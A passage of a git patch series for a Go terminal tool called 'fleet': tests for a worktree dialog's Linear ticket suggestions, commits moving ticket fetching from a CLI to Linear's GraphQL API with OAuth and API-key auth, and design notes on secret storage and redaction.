guess, +// because a branch gets created either way. +func TestWorktreeCaretAndHighlightNeverCoexist(t *testing.T) { + d := ticketDialog(t, + linear.Ticket{Identifier: "BRZ-3182", Title: "Filter bar cramped"}, + linear.Ticket{Identifier: "BRZ-3040", Title: "Collapse resets"}, + ) + d.workspaces = []workspace.WorkspaceInfo{{Name: "wt-a", Path: "/a"}} + + states := []struct { + name string + f worktreeFocus + idx int + }{ + {"base branch", focusBaseBranch, 0}, + {"new branch, on input", focusNewBranch, ticketOnInput}, + {"new branch, ticket 0", focusNewBranch, 0}, + {"new branch, ticket 1", focusNewBranch, 1}, + {"worktree list", focusWorktreeList, 0}, + } + + for _, s := range states { + d.setSelection(s.f, s.idx) + + onInput := d.focus == focusNewBranch && d.ticketCursor == ticketOnInput + if got := d.newBranchInput.Focused(); got != onInput { + t.Errorf("%s: new-branch caret = %v, want %v — the caret must live exactly where the highlight is", + s.name, got, onInput) + } + if got := d.baseBranchInput.Focused(); got != (d.focus == focusBaseBranch) { + t.Errorf("%s: base caret = %v", s.name, got) + } + + // The render is the thing the user actually reads: exactly one marker. + if n := strings.Count(d.View(), "▸"); n > 1 { + t.Errorf("%s: %d ▸ markers on screen, want at most 1 — two highlighted rows "+ + "means two things claim the enter key", s.name, n) + } + } +} + +// TestWorktreeSelectionMutatorIsTheOnlyWriter is what keeps the test above true +// six months from now: a stray `d.focus = x` anywhere else skips the clamping +// and the caret sync, and reintroduces the double highlight. +func TestWorktreeSelectionMutatorIsTheOnlyWriter(t *testing.T) { + fset := token.NewFileSet() + f, err := parser.ParseFile(fset, "workspace_picker.go", nil, 0) + if err != nil { + t.Fatalf("parse: %v", err) + } + + writesInsideMutator := 0 + ast.Inspect(f, func(n ast.Node) bool { + fn, ok := n.(*ast.FuncDecl) + if !ok || fn.Body == nil { + return true + } + ast.Inspect(fn.Body, func(m ast.Node) bool { + as, ok := m.(*ast.AssignStmt) + if !ok { + return true + } + for _, lhs := range as.Lhs { + sel, ok := lhs.(*ast.SelectorExpr) + if !ok { + continue + } + ident, ok := sel.X.(*ast.Ident) + if !ok || ident.Name != "d" { + continue + } + switch sel.Sel.Name { + case "focus", "ticketCursor": + if fn.Name.Name != "setSelection" { + t.Errorf("%s writes d.%s directly at %s — only setSelection may move the "+ + "highlight, or the caret and the marker drift apart", + fn.Name.Name, sel.Sel.Name, fset.Position(as.Pos())) + } else { + writesInsideMutator++ + } + } + } + return true + }) + return true + }) + + // Positive control: a scanner that finds nothing would pass vacuously. + if writesInsideMutator < 2 { + t.Fatalf("found only %d highlight writes inside setSelection — the scanner is broken", writesInsideMutator) + } +} + +// TestWorktreeStaleTicketReplyIgnored: type BRZ-3182, edit to BRZ-3184, and the +// slower first reply must not win — otherwise the field gets the wrong ticket's +// branch name, and that becomes a real git branch. +func TestWorktreeStaleTicketReplyIgnored(t *testing.T) { + d := ticketDialog(t) + d.newBranchInput.SetValue("BRZ-3182") + d.onFieldChanged("BRZ-3182") + stale := d.ticketGen + + d.newBranchInput.SetValue("BRZ-3184") + d.onFieldChanged("BRZ-3184") + current := d.ticketGen + if stale == current { + t.Fatal("generation did not advance on an edit") + } + + d.applyTickets(worktreeTicketsMsg{ + gen: stale, byID: true, + tickets: []linear.Ticket{{Identifier: "BRZ-3182", Title: "the wrong one"}}, + }) + if d.resolved != nil { + t.Errorf("a stale reply resolved %s onto a field reading %q", + d.resolved.Identifier, d.newBranchInput.Value()) + } + + d.applyTickets(worktreeTicketsMsg{ + gen: current, byID: true, + tickets: []linear.Ticket{{Identifier: "BRZ-3184", Title: "the right one"}}, + }) + if d.resolved == nil || d.resolved.Identifier != "BRZ-3184" { + t.Errorf("current reply did not install: %+v", d.resolved) + } +} + +// TestWorktreeTicketReplyNeverMovesHighlight — a picker that moves its own +// selection is the ambiguity coming back through the window. +func TestWorktreeTicketReplyNeverMovesHighlight(t *testing.T) { + d := ticketDialog(t) + d.newBranchInput.SetValue("drawer") + d.onFieldChanged("drawer") + gen := d.ticketGen + + d.applyTickets(worktreeTicketsMsg{gen: gen, tickets: []linear.Ticket{ + {Identifier: "BRZ-3182", Title: "a"}, {Identifier: "BRZ-3040", Title: "b"}, + }}) + if d.ticketCursor != ticketOnInput { + t.Errorf("arriving suggestions moved the highlight to row %d; it must stay on the input", d.ticketCursor) + } + if !d.newBranchInput.Focused() { + t.Error("caret left the field when suggestions arrived") + } + + // A shorter list must clamp rather than strand the cursor off the end. + d.setSelection(focusNewBranch, 1) + d.onFieldChanged("drawer2") + gen = d.ticketGen + d.applyTickets(worktreeTicketsMsg{gen: gen, tickets: []linear.Ticket{{Identifier: "BRZ-1", Title: "only"}}}) + if d.ticketCursor != 0 { + t.Errorf("cursor = %d after the list shrank to 1 row, want 0", d.ticketCursor) + } +} + +// TestWorktreeTypingReturnsHighlightAndKeepsKeystroke pins both halves: the +// jump back, and that the character that caused it is not swallowed. +func TestWorktreeTypingReturnsHighlightAndKeepsKeystroke(t *testing.T) { + d := ticketDialog(t, linear.Ticket{Identifier: "BRZ-3182", Title: "x"}) + d.newBranchInput.SetValue("dra") + d.setSelection(focusNewBranch, 0) + if d.newBranchInput.Focused() { + t.Fatal("precondition: caret should have left the field") + } + + d, _ = d.Update(tea.KeyPressMsg{Code: 'w', Text: "w"}) + + if d.ticketCursor != ticketOnInput { + t.Error("typing did not return the highlight to the input") + } + if !strings.HasSuffix(d.newBranchInput.Value(), "w") { + t.Errorf("the keystroke that caused the jump was swallowed: field = %q", d.newBranchInput.Value()) + } +} + +// TestWorktreeEnterOnTicketFillsDerivedName — Enter on a row fills the field and +// does NOT create: the base branch may still be wrong and the name must stay +// editable. The second Enter is the one that acts. +func TestWorktreeEnterOnTicketFillsDerivedName(t *testing.T) { + d := ticketDialog(t, linear.Ticket{Identifier: "BRZ-3182", Title: "Filter bar renders cramped"}) + d.setSelection(focusNewBranch, 0) + + d, cmd := d.Update(tea.KeyPressMsg{Code: tea.KeyEnter}) + if cmd != nil { + t.Error("Enter on a ticket row must not create a worktree") + } + want := "brz-3182-filter-bar-renders-cramped" + if got := d.newBranchInput.Value(); got != want { + t.Errorf("field = %q, want %q", got, want) + } + if strings.Contains(d.newBranchInput.Value(), "/") { + t.Error("derived branch must not carry Linear's owner prefix") + } + if !d.newBranchInput.Focused() { + t.Error("after picking, the caret must return to the field so the name can be edited") + } + + _, cmd = d.Update(tea.KeyPressMsg{Code: tea.KeyEnter}) + if cmd == nil { + t.Fatal("the second Enter must create") + } + msg, ok := cmd().(workspaceCreateMsg) + if !ok { + t.Fatalf("got %T, want workspaceCreateMsg", cmd()) + } + if msg.ticket == nil || msg.ticket.Identifier != "BRZ-3182" { + t.Errorf("creation message lost the ticket: %+v", msg.ticket) + } + if msg.branch != want { + t.Errorf("branch = %q, want %q", msg.branch, want) + } +} + +// TestWorktreeEnterAlwaysCreates: no Linear state may ever block the dialog's +// primary action. The suggestion list can be empty, loading, latched off, or +// erroring — Enter still makes a worktree. +func TestWorktreeEnterAlwaysCreates(t *testing.T) { + cases := []struct { + name string + setup func(*WorktreeDialog) + }{ + {"no linear at all", func(d *WorktreeDialog) { d.linearTeam = "" }}, + {"latched off", func(d *WorktreeDialog) { d.ticketsOff = true }}, + {"lookup in flight", func(d *WorktreeDialog) { d.ticketPending = true }}, + {"error note showing", func(d *WorktreeDialog) { d.ticketNote = "linear: timed out" }}, + {"suggestions present", func(d *WorktreeDialog) { + d.tickets = []linear.Ticket{{Identifier: "BRZ-1", Title: "x"}} + }}, + } + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + d := ticketDialog(t) + c.setup(d) + d.newBranchInput.SetValue("my-experiment") + + _, cmd := d.Update(tea.KeyPressMsg{Code: tea.KeyEnter}) + if cmd == nil { + t.Fatal("Enter did not create") + } + msg, ok := cmd().(workspaceCreateMsg) + if !ok { + t.Fatalf("got %T", cmd()) + } + if msg.branch != "my-experiment" { + t.Errorf("branch = %q, want the literal text", msg.branch) + } + if msg.ticket != nil { + t.Errorf("a typed name must carry no ticket, got %+v", msg.ticket) + } + }) + } +} + +// TestWorktreeTicketDropsWhenFieldEditedAway: pick a ticket, then clear the +// field and type something else — the creation message must not still claim it. +func TestWorktreeTicketDropsWhenFieldEditedAway(t *testing.T) { + d := ticketDialog(t, linear.Ticket{Identifier: "BRZ-3182", Title: "Filter bar"}) + d.setSelection(focusNewBranch, 0) + d, _ = d.Update(tea.KeyPressMsg{Code: tea.KeyEnter}) + + // Editing the tail keeps the link — that is the point of the prefix rule. + d.newBranchInput.SetValue("brz-3182-filter-bar-v2") + d.onFieldChanged("brz-3182-filter-bar-v2") + if d.ticketForCurrentInput() == nil { + t.Error("appending to a derived name should keep the ticket link") + } + + d.newBranchInput.SetValue("scratch") + d.onFieldChanged("scratch") + if got := d.ticketForCurrentInput(); got != nil { + t.Errorf("field says %q but the message still claims %s", + d.newBranchInput.Value(), got.Identifier) + } +} + +// TestWorktreeBlankRenderUnchangedWithoutLinear: a user with no Linear must not +// be able to tell this feature shipped. +func TestWorktreeBlankRenderUnchangedWithoutLinear(t *testing.T) { + mk := func(team string) string { + d := NewWorktreeDialog() + d.SetSize(120, 40) + d.Show(nil, nil, nil, "/repo", "master", team) + d.newBranchInput.SetValue("my-experiment") + return d.View() + } + if mk("") == "" { + t.Fatal("empty render") + } + plain := mk("") + if strings.Contains(plain, "BRZ") || strings.Contains(plain, "ticket") { + t.Errorf("a repo with no .linear.toml shows Linear chrome:\n%s", plain) + } + if !strings.Contains(plain, "tab: next enter: create esc: cancel") { + t.Error("the long-standing footer should still be the default") + } +} + +// TestWorktreeFooterNamesEnter — the footer is the words half of the promise. +func TestWorktreeFooterNamesEnter(t *testing.T) { + d := ticketDialog(t, linear.Ticket{Identifier: "BRZ-3182", Title: "Filter bar"}) + + d.newBranchInput.SetValue("my-experiment") + d.setSelection(focusNewBranch, ticketOnInput) + if got := d.ticketFooter(); strings.Contains(got, "BRZ-3182") { + t.Errorf("footer names a ticket while the highlight is on the input: %q", got) + } + + d.setSelection(focusNewBranch, 0) + if got := d.ticketFooter(); !strings.Contains(got, "BRZ-3182") { + t.Errorf("footer = %q, want it to name the highlighted ticket", got) + } + + d.workspaces = []workspace.WorkspaceInfo{{Name: "a", Path: "/a"}} + d.setSelection(focusWorktreeList, 0) + if got := d.ticketFooter(); !strings.Contains(got, "open worktree") { + t.Errorf("footer = %q, want it to name opening a worktree", got) + } +} From 9b1e105a0b1b32c15a5bf4aeef4bcd0b36b0c774 Mon Sep 17 00:00:00 2001 From: Yuval Hayke Date: Tue, 18 Aug 2026 11:15:38 +0300 Subject: [PATCH 02/23] fix(linear): name the real command when auth is missing MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The note said "run `linear auth`", which is not a command — it prints a help listing. v2.x added `linear auth login`; v1.7.0 has no login subcommand at all and expects LINEAR_API_KEY or api_key in .linear.toml. Point at the command that exists on a current CLI, since that is what a user hitting this note should install anyway. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01WBQUYTfR7kzUjgozd58mr6 --- internal/ui/workspace_picker_ticket.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/internal/ui/workspace_picker_ticket.go b/internal/ui/workspace_picker_ticket.go index d63678fb..f1ace5c5 100644 --- a/internal/ui/workspace_picker_ticket.go +++ b/internal/ui/workspace_picker_ticket.go @@ -147,7 +147,7 @@ func (d *WorktreeDialog) applyTickets(m worktreeTicketsMsg) { d.ticketNote = m.query + " — no such issue" } case errors.Is(m.err, linear.ErrNotConfigured), errors.Is(m.err, linear.ErrNotAuthenticated): - d.ticketNote = "linear: not logged in — run `linear auth`" + d.ticketNote = "linear: not authenticated — run `linear auth login`" d.ticketsOff = true // it will keep failing; stop forking subprocesses case errors.Is(m.err, linear.ErrNotInstalled): d.ticketsOff = true From 3d64d9e29a514d3308cc635598358945b41f38e7 Mon Sep 17 00:00:00 2001 From: Yuval Hayke Date: Tue, 18 Aug 2026 15:49:48 +0300 Subject: [PATCH 03/23] refactor(linear): read tickets from the API instead of the CLI MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The ticket→worktree feature shelled out to schpet/linear-cli. That dependency cost three version-skew bugs in one session — a Homebrew build compiled without --allow-net=uploads.linear.app that failed every image download and still exited 0, an `auth login` absent before v2.5.0, and an error message naming a `configure` command that never existed — and it was never going to transfer to Jira, which has no comparable CLI. The `gh` precedent didn't hold either: gh is already installed for most developers, linear was a download demanded for this feature. The hard part was already written. fleet's image "fallback" did authenticated GETs against uploads.linear.app and was the path that actually ran; the CLI was the detour. Now one GraphQL round trip carries description, comments with author and timestamp, labels, assignee, priority, parent/children and the team's workflow states — 87 complexity points against a 10,000 cap — and every image is fetched directly. Ticket files are richer than before and the whole class of "your CLI is too old" is gone. Auth is `LINEAR_API_KEY` or a credential fleet stores itself, reached via Ctrl+K → "Connect Linear": browser sign-in (PKCE, so no client secret ships) or a pasted personal API key, which is the only path that works over SSH, in CI, and where an admin has disabled OAuth installs. A pasted key is verified before it is stored. Secrets never touch argv — the keychain write feeds stdin — and lin_api_/lin_oauth_ are redacted at the same chokepoint as sk-ant-. Enablement is now two independent gates: a credential (workspace-level) and a repo naming its team via .fleet.json or .linear.toml. There is deliberately no fallback to "every team in the workspace" — that would put ticket suggestions under the branch field of every repo on the machine. Discovery was zero; a tip now fires when a branch looks like ticket work and nothing is connected. Verified against the live API: BRZ-1515 materialized with 4 real PNGs and 0 dropped, git status clean, check-ignore citing the main repo's exclude, and the state mutation exercised as a no-op against an issue already In Progress — confirming it resolves the lowest-position started state rather than In Review. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01WBQUYTfR7kzUjgozd58mr6 --- CLAUDE.md | 39 +- changelog/unreleased/linear-tickets.md | 2 +- cmd/fleet/worktree.go | 16 +- internal/linear/api.go | 528 ++++++++++++++++++++ internal/linear/auth.go | 260 ++++++++++ internal/linear/cli.go | 276 ---------- internal/linear/identifier.go | 51 +- internal/linear/images.go | 82 ++- internal/linear/linear.go | 148 +++--- internal/linear/linear_test.go | 398 ++++++++++----- internal/linear/materialize.go | 227 +++++---- internal/linear/materialize_e2e_test.go | 61 +-- internal/linear/oauth.go | 307 ++++++++++++ internal/linear/oauth_test.go | 153 ++++++ internal/linear/prompt.go | 4 +- internal/linear/store.go | 193 +++++++ internal/linear/testdata/query_v2.json | 92 ---- internal/ui/app.go | 69 ++- internal/ui/connect_linear.go | 368 ++++++++++++++ internal/ui/connect_linear_test.go | 185 +++++++ internal/ui/statusreport.go | 13 + internal/ui/statusreport_test.go | 24 + internal/ui/ticket.go | 33 +- internal/ui/tips.go | 49 ++ internal/ui/workspace_picker.go | 28 +- internal/ui/workspace_picker_ticket.go | 24 +- internal/ui/workspace_picker_ticket_test.go | 12 +- internal/workspace/repo_config.go | 38 ++ 28 files changed, 2821 insertions(+), 859 deletions(-) create mode 100644 internal/linear/api.go create mode 100644 internal/linear/auth.go delete mode 100644 internal/linear/cli.go create mode 100644 internal/linear/oauth.go create mode 100644 internal/linear/oauth_test.go create mode 100644 internal/linear/store.go delete mode 100644 internal/linear/testdata/query_v2.json create mode 100644 internal/ui/connect_linear.go create mode 100644 internal/ui/connect_linear_test.go diff --git a/CLAUDE.md b/CLAUDE.md index 879d8c78..3af4cb60 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -47,7 +47,7 @@ cmd/fleet/main.go # CLI entry point cmd/fleet/worktree.go # `fleet worktree ` — worktree + session from the shell cmd/fleet/send.go # `fleet send ` — message a running session from the shell cmd/fleet/skill.go # `fleet skill ` — install the agent skill -internal/linear/ # Linear tickets via the `linear` CLI (fetch, materialize into a worktree, branch naming) +internal/linear/ # Linear tickets via Linear's GraphQL API (auth, fetch, materialize into a worktree, branch naming) internal/git/exclude.go # .git/info/exclude writer (resolved via `rev-parse --git-path`) internal/ui/ticket.go # TUI glue: materialize on create, infer from branch, status line internal/ui/workspace_picker_ticket.go # ticket suggestions inside the `w` dialog's New branch field @@ -132,20 +132,28 @@ chrome-extension/ # Chrome MV3 extension (service worker, manifes - Idle-session suspend (memory-pressure hibernation): a full fleet of `claude --resume` processes (~400MB each) can exhaust RAM/swap and get the shared tmux **server** OOM-killed — taking every session down at once. The background worker's heavy pass runs `maybeSuspendIdleSessions` (throttled ~20s via `lastSuspendSweepAt`): it probes `perfwatch.MemoryPressure()` (platform-split: macOS `kern.memorystatus_vm_pressure_level`, Linux PSI `/proc/pressure/memory` — better OOM signals than "Pages free") plus free swap, where low swap escalates to critical per platform rules (`SwapEscalatesPressure`: trusted outright on macOS's demand-grown swap; on Linux only corroborating a PSI warning, since fixed partitions sit partially used on healthy boxes) and hibernates the most-idle sessions. **Only `StatusIdle` sessions** are ever auto-suspended (never running/waiting/starting/finished). Suspend = `Session.Suspend()`: `clearHookState` + kill the whole tmux session (frees agent process *and* the server's pane buffers) + set `StatusSuspended`; `ClaudeSessionID` is persisted so the conversation survives. **Resume is lazy** — Enter on a suspended row runs `resumeSelected` → `Restart()` (recreates tmux + `--resume `) then attaches. Aggressiveness via `session_suspend_mode` config (`GetSessionSuspendMode`, default `light`): off / light (critical pressure + idle>24h) / balanced (warning+ pressure + idle>4h) / aggressive (warning+ pressure + idle>1h). Every mode gates on memory pressure — nothing is suspended on a healthy machine — see `suspendIdleThreshold`. `StatusSuspended` short-circuits at the top of `UpdateStatus` (its tmux is intentionally gone, so the liveness gates would otherwise flip it to error + crashdump); `UpdateHookStatus` ignores the killed agent's SessionEnd death-rattle while suspended. Excluded from `reloadAll` (never auto-revived) and status-summary pills (like idle). Palette: "Suspend This Session" / "Suspend Idle Sessions Now". First auto-suspend fires a one-time tip explaining what happened (suspended rows render a dim idle-style `·`, so the tip keeps it from reading as a crash). - Snooze (`z`): an attention mute with a deadline — 30m / 1h / 4h / tomorrow 9am, or a typed duration (`15m`, `30h`, `2d`). **Deliberately not a Status and not Suspend.** Not a status because a snoozed session that is *waiting* is still waiting; overwriting `Status` would destroy that and force reconstructing it on wake. Not Suspend because snooze never touches the process (Suspend answers "free my RAM", snooze answers "stop nagging me"), which is what makes it safe to snooze a *running* session. So it's an orthogonal deadline that only the **attention** surfaces consult: the `Space` rotation (`findNext`), the status pills, and the row's dimming. Precedence lives in exactly one place — `snoozeState` (`internal/ui/snooze.go`): origin umbrella → checkout umbrella → the session's own deadline. `BuildFlatItems` resolves it once per session and stamps `SidebarItem.Snooze`, so no downstream caller re-derives it (the jump scan and the pills both read that field). A session's own snooze runs *independently underneath* a group's, so it survives the group waking. **Group snooze is an umbrella, never fanned out onto sessions** — stored in the `snoozed_groups` table keyed in the same space as `collapsed_groups` (`origin:` / repo path), which is why a session created *after* the snooze is muted too. Snoozing a group also collapses it (`setExpanded(key,false)`); waking re-expands, symmetrically. Only the group holding the snooze renders a countdown — children carry a bare `☾` so N of them don't repeat one number N times. Marker is `☾` U+263E, **not** the more obvious `⏾` U+23FE: Menlo (macOS Terminal's default) has no U+23FE glyph and renders a fallback box — the same failure that got U+2B21 rejected for the agent sigils. The suffix comes out of the title's width budget (`reserve` in `renderSessionItem`) rather than bumping the constant, since it's present on only some rows. Expiry rides the ~2s Update tick (`maybeWakeSnoozed`, throttled 15s via `lastSnoozeSweepAt`) — **not** the worker, unlike the idle-suspend sweep, which lives there only because it probes memory pressure; keeping snooze on Update means `h.groupSnooze` needs no lock. Deadlines that lapse while fleet is closed are dropped at load (`FromRow` for sessions, the startup handler for groups). The duration picker (`SnoozeDialog`, `internal/ui/snooze_dialog.go`) is a row-anchored dropdown composited via `overlayAt` like the context menu (no `dimBackdrop`), holding the four presets **plus a free-text duration**. The input is **the row below the last preset** (`focus` indexes presets, with `len(SnoozeDurations)` meaning the input), so `↑↓`/`tab` walk the whole dialog as one selection and `Enter` always acts on whatever carries the highlight — the highlight is the promise. `setFocus` moves the text input's own focus in step, so the caret only blinks where the highlight is. Typing from a preset row jumps to the input **and keeps the keystroke** (`isTypingKey`), so the fast path (open, type `2d`, `Enter`) never needs the arrows. A focused-but-unparseable box refuses rather than falling back to the highlighted preset. `parseSnoozeDuration` takes a **single unit only** (`15m` / `30h` / `2d`, capped at 30d): deliberately not `time.ParseDuration`, which accepts combos and seconds we don't offer and has no notion of days, so its errors would describe a syntax fleet doesn't have. Its error strings are user-facing — they render live in the box. The box is **fixed width and height** (`contentW`); the verdict line swaps between the key hint and the resolved wake time, and a hint long enough to wrap would grow the box a row mid-keystroke (`TestSnoozeDialogHeightIsStable` pins this). Preset rows pad the **raw** text before styling — padding a styled string counts the ANSI bytes and the columns come out ragged. Sidebar-only by design: no global count, no wake toast. - Repo headers show branch name (), dirty indicator (*), and PR badge (#N) -- Linear tickets (`internal/linear`, opt-out-by-absence): starting work from a ticket, with **one** mutation and no credential. Enabled per-repo by two facts already true for anyone using the CLI — `linear` on PATH and a committed `.linear.toml` at the repo root — so a repo without them renders and behaves exactly as before (`TestWorktreeBlankRenderUnchangedWithoutLinear`). fleet reads **`team_id` only** from that file, never `api_key`: the CLI owns auth, which is why this subsystem stores nothing, unlike `claudeaccount`. -- **The core move is fetching one step earlier than you'd expect.** If fleet materializes the ticket at worktree-creation time, the agent never needs to know the Linear CLI exists — which is why fleet ships no Linear skill, no Go Linear client, and no sidebar badge. It hands over content, not instructions. -- **`--json` must never be used for images** (`TestMarkdownFetchNeverUsesJSON`). The CLI returns from its JSON branch *before* its image downloader runs, so a JSON fetch emits raw 401 `uploads.linear.app` URLs and writes nothing — structural, not a bug, and it survives CLI upgrades. `Materialize` runs the **markdown** form instead: under a pipe the CLI skips its ANSI renderer and prints raw markdown whose `![alt](...)` links are already rewritten to local paths. Parse those; never walk `$TMPDIR`, whose layout is an implementation detail. -- **A link still pointing at `uploads.linear.app` is the detector for a broken downloader** — the CLI swallows its own download errors and exits 0 (Homebrew builds before v1.9.1 were compiled without `--allow-net=uploads.linear.app`). fleet then fetches those itself with `Authorization: $(linear auth token)`, borrowed for one request and never stored, and flags `UsedFallback`. So the feature works on an old CLI; upgrading just avoids the slow path. -- **Extensions are recovered, not trusted.** The CLI names downloads `sanitize(alt)`, so a real PNG lands as `Filter bar renders cramped (screenshot)` with no extension — and an agent's file-read tool dispatches on extension, making a perfectly downloaded screenshot unreadable. `detectExt` sniffs magic bytes (`http.DetectContentType`), which also rejects a 401 HTML body that would otherwise sit beside real screenshots. Recovering the extension and rewriting the markdown links are a **matched pair**: fix one and the agent still sees nothing. -- Files land at `/.fleet/ticket//` — inside the worktree so the agent reads them with a relative path and **no permission prompt**, since a prompt on the session's first act renders as `-` waiting, the friction this feature removes. Git exclusion uses `git rev-parse --git-path info/exclude`, **never `--git-dir` + `info/exclude`**: `info` is on git's shared-path list, so a linked worktree's `--git-dir` gives a path git never reads — the entry would look installed and exclude nothing (`TestAddFleetExcludeFromLinkedWorktree` proves it with `check-ignore`). The entry is therefore repo-wide and written once, idempotently, and it is `.gitignore`'s opposite on purpose: `.gitignore` is tracked, so writing it would dirty a fresh worktree and risk committing customer screenshots. -- Branch names are `brz-3182-` (`BranchNameFor`), **not** the CLI's `branchName`, which carries an owner prefix (`alice/brz-3182-…`). Linear links a PR by finding the identifier anywhere in the name, so both link identically; this form matches the convention already on disk. -- Inference is **team-gated** (`IdentifierFromBranch`). The CLI's own `linear issue id` is an ungated regex that reads `fix-123-thing` as `FIX-123` and `release-2024-cleanup` as `RELEASE-2024`, so the gate is what makes a non-ticket branch cost nothing. -- **Nothing polls.** Ticket work is event-driven and one-shot: at worktree creation, and at session creation when the branch names an issue and `.fleet/ticket//` is absent — the directory is the ledger, so it survives restarts and deleting it is the natural "refresh". `TestTicketWorkStaysOffTheWorkers` keeps it out of `refreshAllGitAndPR`, whose `workerStallThreshold` (90s) is already sized against ~70s of git + `gh` per repo; a `linear` call there would make the stall watchdog false-fire. This is only affordable because there is no badge, hence no live state to keep fresh. -- The one mutation is `linear issue update -s started` — matched on state **type** against a position-sorted list, so it works on teams whose started state is called anything. `linear issue start` is forbidden (`TestStateWriteNeverUsesIssueStart`): it also creates its own branch, colliding with the worktree fleet just made. Fires **only on create-from-ticket** (config `linear_ticket_start`, default true), never when a later session opens in an existing worktree — by then a human may have moved the issue to In Review, and dragging it backwards is the worst thing this could do. `meta.json` records `state_write` so it stays exactly-once. -- The seeded prompt is a **short pointer that tells the agent not to start** (`TestSeedPromptTellsAgentNotToStart`), stated at the top and bottom because a first message describing a task reads as an instruction to perform it. Line 1 leads with the identifier before the title because it is three surfaces at once: the agent's instruction, the preview pane's prompt strip, and the input to `naming.GenerateTitle`, which cuts at ~50 runes. It rides `sessionCreateMsg.prompt` -> `Session.InitialPrompt` (a new field; the TUI previously had no way to seed a prompt at all — only `fleet worktree -p` did). -- **Ticket suggestions live in the `w` dialog's existing New branch field, not a new field and not a mode** (`internal/ui/workspace_picker_ticket.go`). The field IS the literal option, so nothing duplicates it and only one thing ever claims Enter. Two rules make that hold: **exactly one highlight, and the caret lives with it** — arrowing onto a ticket blurs the input, typing returns both and keeps the keystroke (`isTypingKey`, borrowed from the snooze dialog, whose "the highlight is the promise" rule this follows); and **shape decides the default, never a mode** — text matching the team's identifier shape resolves *in place* (`LooksLikeIdentifier`), prose stays literal with tickets one down-arrow below. The highlight never moves on its own; a picker that jumps its own selection is the ambiguity coming back through the window. `setSelection` is the single writer of `focus`/`ticketCursor`, enforced by `TestWorktreeSelectionMutatorIsTheOnlyWriter`, because a stray write skips the clamp and renders two selection markers. The footer names what Enter will do and changes as the highlight moves. -- Lookups are **debounced (250ms) and generation-guarded**, never per keystroke — each is a ~0.5s subprocess. Without the generation counter, typing `BRZ-3182` then editing to `BRZ-3184` lets the slower first reply overwrite the field with the wrong ticket's branch name, which then becomes a real git branch (`TestWorktreeStaleTicketReplyIgnored`). The counter is **monotonic and never reset to 0**, unlike `ConfirmDialog.scanGen` — that one lives on `Home` and never recycles; a per-dialog counter reset to zero would let a reply from a previous open match a new one. `d.loading` is deliberately not used for ticket lookups: it swallows every key but `esc`. -- Degradation is structural: no binary, no `.linear.toml`, unauthenticated, offline, unknown id, or nothing matching — every case leaves Enter working and the dialog usable (`TestWorktreeEnterAlwaysCreates`). Persistent failures latch (`ticketsOff`) so a broken CLI isn't re-forked on every pause. Once the worktree exists nothing may fail the caller: `Materialize` sits beside `copyClaudeSettingsFile` and `CopyConfiguredFiles` and shares their posture, and a failed fetch costs the prompt, never the session. +- Linear tickets (`internal/linear`, opt-out-by-absence): starting work from a ticket, with **one** mutation. Two independent gates, and both must hold: fleet needs a **credential** (workspace-level) and the repo must **name a team** (per-repo). A repo that names none renders and behaves exactly as before, even for a connected user (`TestWorktreeBlankRenderUnchangedWithoutLinear`) — which is why there is deliberately **no fallback to "every team in the workspace"**: that would put ticket suggestions under the branch field of every repo on the machine. +- **The core move is fetching one step earlier than you'd expect.** If fleet materializes the ticket at worktree-creation time, the agent never needs to know Linear exists — which is why fleet ships no Linear skill and no sidebar badge. It hands over content, not instructions. +- **There is no `linear` CLI anywhere in this package, and that is load-bearing** (`TestNoLinearSubprocess`, an *allowlist* of the three OS helpers — two keychains and a browser opener — so a new subprocess has to be added deliberately). An earlier version shelled out to `schpet/linear-cli` and ate three version-skew bugs in one session: a Homebrew build compiled without `--allow-net=uploads.linear.app` that failed every image download and still exited 0; an `auth login` command absent before v2.5.0; and the CLI's own error text naming a `configure` command that never existed. The `gh` precedent did not transfer — `gh` is already installed for most developers, `linear` was a download demanded *for this feature* — and Jira has no comparable CLI, so shell-out was a Linear-only trick rather than an architecture. +- Auth resolves in one order, both cheap: **`LINEAR_API_KEY` env → fleet's own store**. Env wins so a stale stored credential can always be overridden without any UI, and so CI (no keychain) works at all. Two credential kinds, differing in exactly one place — `authHeader()`: a personal API key is sent **raw**, an OAuth access token takes `Bearer`. Sending either in the other form reads as a rejected credential (`TestAuthHeaderFormDiffersByKind`). +- The store is first-usable, mirroring `clipboardCopyCommandFor`: macOS Keychain (`security`) → `secret-tool` (libsecret) → `~/.config/fleet/linear.json` at 0600. **The secret never touches argv**: `security -w ` and `-X ` both work and both publish it to every `ps` on the machine, so `writeSecret` feeds it on **stdin twice** — `security ... -w` implements an interactive "type it again" prompt and does not care that stdin is a pipe. Verified against a live keychain. `sanitizeForIssue` redacts `lin_api_*`/`lin_oauth_*` beside `sk-ant-*` (`TestBuildStatusReportBody_NeverLeaksLinearKey`). +- **Both auth paths ship, and the user picks** (`Ctrl+K → Connect Linear`). Browser sign-in is the shorter one; pasting a personal API key is the only one that works over SSH, in CI, where an admin has disabled OAuth installs, and where the user wants read-only or team-scoped access rather than whatever the app asks for. OAuth is **PKCE, so no client secret ships** — the client ID is public like `projectAPIKey` (`FLEET_LINEAR_CLIENT_ID` overrides). Redirect ports are **fixed** (53682-53684, first free) because Linear matches `redirect_uri` against the app's registered list and an ephemeral port is simply rejected; all three busy, or no browser, returns `ErrOAuthUnavailable`, which is a **routing** answer, not a failure — the dialog points at the paste path. The `state` check runs **before** the code is touched (`TestOAuthStateMismatchRejected`): the callback is a fixed loopback port, so anything on the machine can reach it during the window. +- Access tokens last **24h**. `credential()` renews at a 5-minute margin, serialized by `refreshMu` — without it a ticket with a dozen screenshots starts a dozen downloads that each find the token stale and each spend a refresh, superseding one another. A **refused** refresh disconnects (the grant is gone; every later request would 401 with no explanation anywhere), while an unreachable endpoint does **not** — fleet failing to reach Linear is not evidence against the grant. +- **`Available()` and `TeamKeys()` are called from the Update goroutine** and therefore touch no network and no keychain — two atomics and two small file reads. The keychain read happens once, in `warmLinear()` from `Init`. `Resolved()` is separate from `Available()` on purpose: before the warm finishes, "no credential" is ignorance, not a fact, and anything acting on the *absence* of one (the discovery tip) must 